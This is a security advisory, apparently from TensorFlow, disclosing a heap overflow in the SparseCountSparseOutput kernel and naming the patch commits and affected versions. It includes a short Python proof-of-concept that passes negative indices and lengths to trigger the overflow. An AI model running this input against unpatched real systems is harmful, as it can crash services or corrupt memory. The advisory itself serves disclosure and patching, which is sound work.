Impact
The [implementation of
SparseCountSparseOutput](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count ops.cc#L168-L273) is vulnerable to a heap overflow:python
import tensorflow as tf
import numpy as np
tf.raw ops.SparseCountSparseOutput(
indices=[[-1,-1]],
values=[2],
dense shape=[1, 1],
weights=[1],
binary output=True,
minlength=-1,
maxlength=-1,
name=None)Patches
We have patched the issue in GitHub commits 2b7100d6cdff36aa21010a82269bc05a6d1cc74a and adbbabdb0d3abb3cdeac69e38a96de1d678b24b3.
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
